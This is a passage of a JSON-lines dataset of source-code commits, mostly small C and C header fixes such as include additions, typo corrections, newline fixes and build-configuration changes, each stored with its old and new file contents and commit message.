romium-crosswalk,Jonekee\/chromium.src,ChromiumWebApps\/chromium,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,hujiajie\/pa-chromium,Just-D\/chromium-1,robclark\/chromium,Just-D\/chromium-1,robclark\/chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,robclark\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,hujiajie\/pa-chromium,Chilledheart\/chromium,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,robclark\/chromium,bright-sparks\/chromium-spacewalk,ltilve\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,markYoungH\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,rogerwang\/chromium,robclark\/chromium,dednal\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,jaruba\/chromium.src,robclark\/chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,dednal\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,ltilve\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,patrickm\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,rogerwang\/chromium,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,rogerwang\/chromium,ltilve\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,jaruba\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,rogerwang\/chromium,chuan9\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src"}
{"commit":"507c3e1f7f594135e33dea40f1221957df129979","old_file":"mserv\/mp3info.h","new_file":"mserv\/mp3info.h","old_contents":"\n#define MP3ID3_TITLELEN NAMELEN\n#define MP3ID3_ARTISTLEN AUTHORLEN\n#define MP3ID3_ALBUMLEN 30\n#define MP3ID3_YEARLEN 4\n#define MP3ID3_COMMENTLEN 30\n\ntypedef struct {\n  int present:1;\n  char title[MP3ID3_TITLELEN+1];\n  char artist[MP3ID3_ARTISTLEN+1];\n  char album[MP3ID3_ALBUMLEN+1];\n  char year[MP3ID3_YEARLEN+1];\n  char comment[MP3ID3_COMMENTLEN+1];\n  char genre[31];\n} t_id3tag;\n\nint mserv_mp3info_readlen(const char *fname, int *bitrate_ret,\n\t\t\t  t_id3tag *id3tag);\n","new_contents":"\n#define MP3ID3_TITLELEN 30\n#define MP3ID3_ARTISTLEN 30\n#define MP3ID3_ALBUMLEN 30\n#define MP3ID3_YEARLEN 4\n#define MP3ID3_COMMENTLEN 30\n\ntypedef struct {\n  int present:1;\n  char title[MP3ID3_TITLELEN+1];\n  char artist[MP3ID3_ARTISTLEN+1];\n  char album[MP3ID3_ALBUMLEN+1];\n  char year[MP3ID3_YEARLEN+1];\n  char comment[MP3ID3_COMMENTLEN+1];\n  char genre[31];\n} t_id3tag;\n\nint mserv_mp3info_readlen(const char *fname, int *bitrate_ret,\n\t\t\t  t_id3tag *id3tag);\n","subject":"Fix mp3 field size constants so that the ID3 information gets parsed correctly.","message":"Fix mp3 field size constants so that the ID3 information gets parsed\ncorrectly.\n","lang":"C","license":"isc","repos":"spigot\/mserv,spigot\/mserv"}
{"commit":"3dd0eb97ff69943b37d92932d0ac7b5b4324bbc8","old_file":"source\/config_lui.h","new_file":"source\/config_lui.h","old_contents":"\/\/ Filename: config_lui.h\n\/\/ Created by:  tobspr (28Aug14)\n\/\/\n\n#ifndef CONFIG_LUI_H\n#define CONFIG_LUI_H\n\n#include \"pandabase.h\"\n#include \"notifyCategoryProxy.h\"\n#include \"dconfig.h\"\n\n#define EXPCL_LUI EXPORT_CLASS\n#define EXPTP_LUI EXPORT_TEMPL\n\nConfigureDecl(config_lui, EXPCL_LUI, EXPTP_LUI);\nNotifyCategoryDecl(lui, EXPCL_LUI, EXPTP_LUI);\n\nextern EXPCL_LUI void init_lui();\n\n#ifdef INTERROGATE\n\/\/ Interrogate can't handle this\n#define unordered_map pmap\n#endif\n\n#endif\n","new_contents":"\/\/ Filename: config_lui.h\n\/\/ Created by:  tobspr (28Aug14)\n\/\/\n\n#ifndef CONFIG_LUI_H\n#define CONFIG_LUI_H\n\n#include \"pandabase.h\"\n#include \"notifyCategoryProxy.h\"\n#include \"dconfig.h\"\n\n#define EXPCL_LUI EXPORT_CLASS\n#define EXPTP_LUI EXPORT_TEMPL\n\nConfigureDecl(config_lui, EXPCL_LUI, EXPTP_LUI);\nNotifyCategoryDecl(lui, EXPCL_LUI, EXPTP_LUI);\n\nextern EXPCL_LUI void init_lui();\n\nusing namespace std;\n\n#endif\n","subject":"Fix build with modern Panda headers","message":"Fix build with modern Panda headers\n\nPanda3D now no longer defines `using namespace std;` (see panda3d\/panda3d#335) which the LUI code relied on;\n\nPanda3D headers provide unordered_map so the #define is actually preventing that header from being parsed correctly.\n","lang":"C","license":"mit","repos":"tobspr\/LUI,tobspr\/LUI,tobspr\/LUI"}
{"commit":"9cdc25c056d3da95035b7ed9c28b78f0c23a2222","old_file":"libempathy\/empathy-types.h","new_file":"libempathy\/empathy-types.h","old_contents":"\/* -*- Mode: C; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- *\/\n\/*\n * Copyright (C) 2008 Collabora Ltd.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n * \n * Authors: Cosimo Cecchi <cosimo.cecchi@collabora.co.uk>\n *\/\n\n#ifndef __EMPATHY_TYPES_H__\n#define __EMPATHY_TYPES_H__\n\ntypedef struct _EmpathyContactList      EmpathyContactList;\n\ntypedef struct _EmpathyContactMonitor      EmpathyContactMonitor;\n\n#endif \/* __EMPATHY_TYPES_H__ *\/","new_contents":"\/* -*- Mode: C; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- *\/\n\/*\n * Copyright (C) 2008 Collabora Ltd.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n * \n * Authors: Cosimo Cecchi <cosimo.cecchi@collabora.co.uk>\n *\/\n\n#ifndef __EMPATHY_TYPES_H__\n#define __EMPATHY_TYPES_H__\n\ntypedef struct _EmpathyContactList      EmpathyContactList;\n\ntypedef struct _EmpathyContactMonitor      EmpathyContactMonitor;\n\n#endif \/* __EMPATHY_TYPES_H__ *\/\n","subject":"Add newline at end of file","message":"Add newline at end of file\n\nFrom: Olivier Crête <olivier.crete@collabora.co.uk>\nSigned-off-by: Sjoerd Simons <sjoerd.simons@collabora.co.uk>\n\nsvn path=\/trunk\/; revision=2439\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/telepathy-account-widgets,GNOME\/telepathy-account-widgets,GNOME\/telepathy-account-widgets,Distrotech\/telepathy-account-widgets,GNOME\/telepathy-account-widgets"}
{"commit":"950c1f5c6ed2c6b05d5cf2c1162454dccd011296","old_file":"phonebook_opt.c","new_file":"phonebook_opt.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n\n#include \"phonebook_opt.h\"\n\n\/* FILL YOUR OWN IMPLEMENTATION HERE! *\/\nentry *findName(char lastname[], entry *pHead)\n{\n    while (pHead != NULL) {\n        if (strcasecmp(lastname, pHead->lastName) == 0)\n            return pHead;\n        pHead = pHead->pNext;\n    }\n    return NULL;\n}\n\nentry *append(char lastName[], entry *e)\n{\n    \/* allocate memory for the new entry and put lastName *\/\n    e->pNext = (entry *) malloc(sizeof(entry));\n    e = e->pNext;\n    strcpy(e->lastName, lastName);\n    e->pNext = NULL;\n\n    return e;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <assert.h>\n\n#include \"phonebook_opt.h\"\n\nentry *findName(char lastname[], entry *pHead)\n{\n    while (pHead != NULL) {\n        if (strcasecmp(lastname, pHead->lastName) == 0)\n            return pHead;\n        pHead = pHead->pNext;\n    }\n    return NULL;\n}\n\nentry *append(char lastName[], entry *e)\n{\n    \/* check whther entry is null or not *\/\n    assert(e != NULL && \"[error] entry is null\");\n\n    \/* allocate memory for the new entry and put lastName *\/\n    e->pNext = (entry *) malloc(sizeof(entry));\n    e = e->pNext;\n    strcpy(e->lastName, lastName);\n    e->pNext = NULL;\n\n    return e;\n}\n","subject":"Delete todo comments and add assert to avoid null entry","message":"Delete todo comments and add assert to avoid null entry\n\nDelete the todo comments before the function findName.\nUse assert to avoid the condition of null pointer in the begining of\nfunction append.\n","lang":"C","license":"bsd-2-clause","repos":"zeroplusone\/phonebook,zeroplusone\/phonebook"}
{"commit":"cfb065c8fc4730ea3ea371b2e9def448c5552ca5","old_file":"src\/core\/include\/iDynTree\/Core\/LinearForceVector3.h","new_file":"src\/core\/include\/iDynTree\/Core\/LinearForceVector3.h","old_contents":"\/*\n * Copyright (C) Fondazione Istituto Italiano di Tecnologia\n *\n * Licensed under either the GNU Lesser General Public License v3.0 :\n * https:\/\/www.gnu.org\/licenses\/lgpl-3.0.html\n * or the GNU Lesser General Public License v2.1 :\n * https:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html\n * at your option.\n *\/\n\n#ifndef IDYNTREE_LINEAR_FORCE_VECTOR_3_H\n#define IDYNTREE_LINEAR_FORCE_VECTOR_3_H\n\n#warning <iDynTree\/Core\/LinearForceVector3.h> is deprecated. Please use GeomVector3 and <iDynTree\/Model\/GeomVector3.h>.\n\n#include <iDynTree\/Core\/GeomVector3.h>\n\n#endif \/* IDYNTREE_LINEAR_FORCE_VECTOR_3_H *\/\n","new_contents":"\/*\n * Copyright (C) Fondazione Istituto Italiano di Tecnologia\n *\n * Licensed under either the GNU Lesser General Public License v3.0 :\n * https:\/\/www.gnu.org\/licenses\/lgpl-3.0.html\n * or the GNU Lesser General Public License v2.1 :\n * https:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html\n * at your option.\n *\/\n\n#ifndef IDYNTREE_LINEAR_FORCE_VECTOR_3_H\n#define IDYNTREE_LINEAR_FORCE_VECTOR_3_H\n\n#warning <iDynTree\/Core\/LinearForceVector3.h> is deprecated. Please use GeomVector3 and <iDynTree\/Core\/GeomVector3.h>.\n\n#include <iDynTree\/Core\/GeomVector3.h>\n\n#endif \/* IDYNTREE_LINEAR_FORCE_VECTOR_3_H *\/\n","subject":"Fix typo in deprecation message","message":"Fix typo in deprecation message","lang":"C","license":"lgpl-2.1","repos":"robotology\/idyntree,robotology\/idyntree,robotology\/idyntree,robotology\/idyntree,robotology\/idyntree"}
{"commit":"e6d89d26db671755353c06ed6b353af995a03dba","old_file":"src\/C\/pyramid_of_numbers.c","new_file":"src\/C\/pyramid_of_numbers.c","old_contents":"\/* Pyramid of numbers\nExercise #7 from my college\n\nMake a program that's receive a number and print it like a pyramid in descending order.\nExample with number 5 inputted. The output must be like that:\n\n1\n1 2\n1 2 3\n1 2 3 4\n1 2 3 4 5\n*\/\n#include <stdio.h>\n\nint main() {\n  int number;\n\n  printf(\"Type a number: \");\n  scanf(\"%d\", &number);\n\n  for (int i = 1; i <= number; i++) {\n\n       for (int j = 1; j <= i; j++) {\n            printf (\"%d \", j);\n       }\n\n       printf (\"\\n\");\n  }\n\n  return 0;\n}\n","new_contents":"\/* Pyramid of numbers\nExercise #7 from my college\n\nMake a program that's receive a number and print it like a pyramid in ascending order.\nExample with number 5 inputted. The output must be like that:\n\n1\n1 2\n1 2 3\n1 2 3 4\n1 2 3 4 5\n*\/\n#include <stdio.h>\n\nint main() {\n  int number;\n\n  printf(\"Type a number: \");\n  scanf(\"%d\", &number);\n\n  for (int i = 1; i <= number; i++) {\n\n       for (int j = 1; j <= i; j++) {\n            printf (\"%d \", j);\n       }\n\n       printf (\"\\n\");\n  }\n\n  return 0;\n}\n","subject":"Update pyramid of numbers in C language","message":"Update pyramid of numbers in C language\n","lang":"C","license":"mit","repos":"daltonmenezes\/learning-C"}
{"commit":"80d912a5fedb401cf2e80584a398238f7f083812","old_file":"log.h","new_file":"log.h","old_contents":"\/\/\n\/\/ Copyright (c) 2010-2012 Linaro Limited\n\/\/\n\/\/ All rights reserved. This program and the accompanying materials\n\/\/ are made available under the terms of the MIT License which accompanies\n\/\/ this distribution, and is available at\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/ Contributors:\n\/\/     Alexandros Frantzis <alexandros.frantzis@linaro.org>\n\/\/     Jesse Barker <jesse.barker@linaro.org>\n\/\/\n#ifndef LOG_H_\n#define LOG_H_\n\nclass Log\n{\npublic:\n    static void init(bool do_debug = false) { do_debug_ = do_debug; }\n    \/\/ Emit an informational message\n    static void info(const char *fmt, ...);\n    \/\/ Emit a debugging message\n    static void debug(const char *fmt, ...);\n    \/\/ Emit an error message\n    static void error(const char *fmt, ...);\n    \/\/ Explicit flush of the log buffer\n    static void flush();\n    \/\/ A prefix constant that informs the logging infrastructure that the log\n    \/\/ message is a continuation of a previous log message to be put on the\n    \/\/ same line.\n    static const std::string continuation_prefix;\n    \/\/ A constant for identifying the log messages as originating from a\n    \/\/ particular application.\n    static std::string appname;\nprivate:\n    static bool do_debug_;\n};\n\n#endif \/* LOG_H_ *\/\n","new_contents":"\/\/\n\/\/ Copyright (c) 2010-2012 Linaro Limited\n\/\/\n\/\/ All rights reserved. This program and the accompanying materials\n\/\/ are made available under the terms of the MIT License which accompanies\n\/\/ this distribution, and is available at\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/ Contributors:\n\/\/     Alexandros Frantzis <alexandros.frantzis@linaro.org>\n\/\/     Jesse Barker <jesse.barker@linaro.org>\n\/\/\n#ifndef LOG_H_\n#define LOG_H_\n\n#include <string>\n\nclass Log\n{\npublic:\n    static void init(bool do_debug = false) { do_debug_ = do_debug; }\n    \/\/ Emit an informational message\n    static void info(const char *fmt, ...);\n    \/\/ Emit a debugging message\n    static void debug(const char *fmt, ...);\n    \/\/ Emit an error message\n    static void error(const char *fmt, ...);\n    \/\/ Explicit flush of the log buffer\n    static void flush();\n    \/\/ A prefix constant that informs the logging infrastructure that the log\n    \/\/ message is a continuation of a previous log message to be put on the\n    \/\/ same line.\n    static const std::string continuation_prefix;\n    \/\/ A constant for identifying the log messages as originating from a\n    \/\/ particular application.\n    static std::string appname;\nprivate:\n    static bool do_debug_;\n};\n\n#endif \/* LOG_H_ *\/\n","subject":"Make sure to include string for the definiton of Log.","message":"Make sure to include string for the definiton of Log.\n","lang":"C","license":"mit","repos":"jessebarker\/libmatrix,jessebarker\/libmatrix"}
{"commit":"f8c381fff1a3c10e0f7f0c9f223f08e8d7dce0e3","old_file":"include\/clang\/Lex\/ExternalPreprocessorSource.h","new_file":"include\/clang\/Lex\/ExternalPreprocessorSource.h","old_contents":"\/\/===- ExternalPreprocessorSource.h - Abstract Macro Interface --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ExternalPreprocessorSource interface, which enables\n\/\/  construction of macro definitions from some external source.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H\n#define LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H\n\nnamespace clang {\n  \n\/\/\/ \\brief Abstract interface for external sources of preprocessor \n\/\/\/ information.\n\/\/\/\n\/\/\/ This abstract class allows an external sources (such as the \\c PCHReader) \n\/\/\/ to provide additional macro definitions.\nclass ExternalPreprocessorSource {\npublic:\n  virtual ~ExternalPreprocessorSource();\n  \n  \/\/\/ \\brief Read the set of macros defined by this external macro source.\n  virtual void ReadDefinedMacros() = 0;\n};\n  \n}\n\n#endif \/\/ LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H","new_contents":"\/\/===- ExternalPreprocessorSource.h - Abstract Macro Interface --*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ExternalPreprocessorSource interface, which enables\n\/\/  construction of macro definitions from some external source.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H\n#define LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H\n\nnamespace clang {\n  \n\/\/\/ \\brief Abstract interface for external sources of preprocessor \n\/\/\/ information.\n\/\/\/\n\/\/\/ This abstract class allows an external sources (such as the \\c PCHReader) \n\/\/\/ to provide additional macro definitions.\nclass ExternalPreprocessorSource {\npublic:\n  virtual ~ExternalPreprocessorSource();\n  \n  \/\/\/ \\brief Read the set of macros defined by this external macro source.\n  virtual void ReadDefinedMacros() = 0;\n};\n  \n}\n\n#endif \/\/ LLVM_CLANG_LEX_EXTERNAL_PREPROCESSOR_SOURCE_H\n","subject":"Add missing newline (which breaks MSVC build???)","message":"Add missing newline (which breaks MSVC build???)\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@92522 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"9c80f5b16d0752e1bc3f49f15b1a146b7345b9ee","old_file":"Pod\/Swift\/APAddressBook-Bridging.h","new_file":"Pod\/Swift\/APAddressBook-Bridging.h","old_contents":"\/\/\n\/\/  APAddressBook-Bridging.h\n\/\/  APAddressBook\n\/\/\n\/\/  Created by Alexey Belkevich on 7\/31\/14.\n\/\/  Copyright (c) 2014 alterplay. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n#import \"APAddressBook.h\"\n#import \"APContact.h\"\n#import \"APSocialProfile.h\"\n#import \"APAddress.h\"\n#import \"APPhoneWithLabel.h\"\n","new_contents":"\/\/\n\/\/  APAddressBook-Bridging.h\n\/\/  APAddressBook\n\/\/\n\/\/  Created by Alexey Belkevich on 7\/31\/14.\n\/\/  Copyright (c) 2014 alterplay. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n#import \"APAddressBook.h\"\n#import \"APContact.h\"\n#import \"APSocialProfile.h\"\n#import \"APAddress.h\"\n#import \"APPhoneWithLabel.h\"\n#import \"APEmailWithLabel.h\"\n","subject":"Add APEmailWithLabel.h to the Swift bridging file.","message":"Add APEmailWithLabel.h to the Swift bridging file.\n","lang":"C","license":"mit","repos":"Alterplay\/APAddressBook,Alterplay\/APAddressBook,felix-dumit\/APAddressBook,felix-dumit\/APAddressBook"}
{"commit":"8ab3b68ef35411be456f26d1fc0dad1ebff87141","old_file":"bluetooth\/bdroid_buildcfg.h","new_file":"bluetooth\/bdroid_buildcfg.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BLE_VND_INCLUDED TRUE\n#define BTM_BLE_ADV_TX_POWER {-21, -15, -7, 1, 9}\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef _BDROID_BUILDCFG_H\n#define _BDROID_BUILDCFG_H\n\n#define BTA_DISABLE_DELAY 100 \/* in milliseconds *\/\n\n#define BTM_BLE_ADV_TX_POWER {-21, -15, -7, 1, 9}\n#endif\n","subject":"Disable peripheral mode in N5","message":"Disable peripheral mode in N5\n\nbug 16545864\n\nChange-Id: I2273716fbce151173c067b8441e749c78e17141e","lang":"C","license":"apache-2.0","repos":"maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead,maruos\/android_device_lge_hammerhead"}
{"commit":"dd6e3b76a29da1f6979717e65faf652dde20be65","old_file":"include\/mindbw\/Types.h","new_file":"include\/mindbw\/Types.h","old_contents":"#ifndef MINDBW_TYPES_H\n#define MINDBW_TYPES_H\n\nnamespace mindbw\n{\n\nenum class Operator\n{\n    LT,\n    LTE,\n    GT,\n    GTE,\n    EQ,\n    NEQ,\n};\n\n\n}\n\n#endif\n","new_contents":"#ifndef MINDBW_TYPES_H\n#define MINDBW_TYPES_H\n\n#include <zephyr\/CExport.h>\n\nZ_NS_START(mindbw)\n\nZ_ENUM_CLASS(mindbw, Operator)\n{\n    LT,\n    LTE,\n    GT,\n    GTE,\n    EQ,\n    NEQ,\n};\n\n\nZ_NS_END\n\n#endif\n","subject":"Allow types in C includes","message":"Allow types in C includes\n","lang":"C","license":"mit","repos":"DeonPoncini\/mindbw,DeonPoncini\/mindbw"}
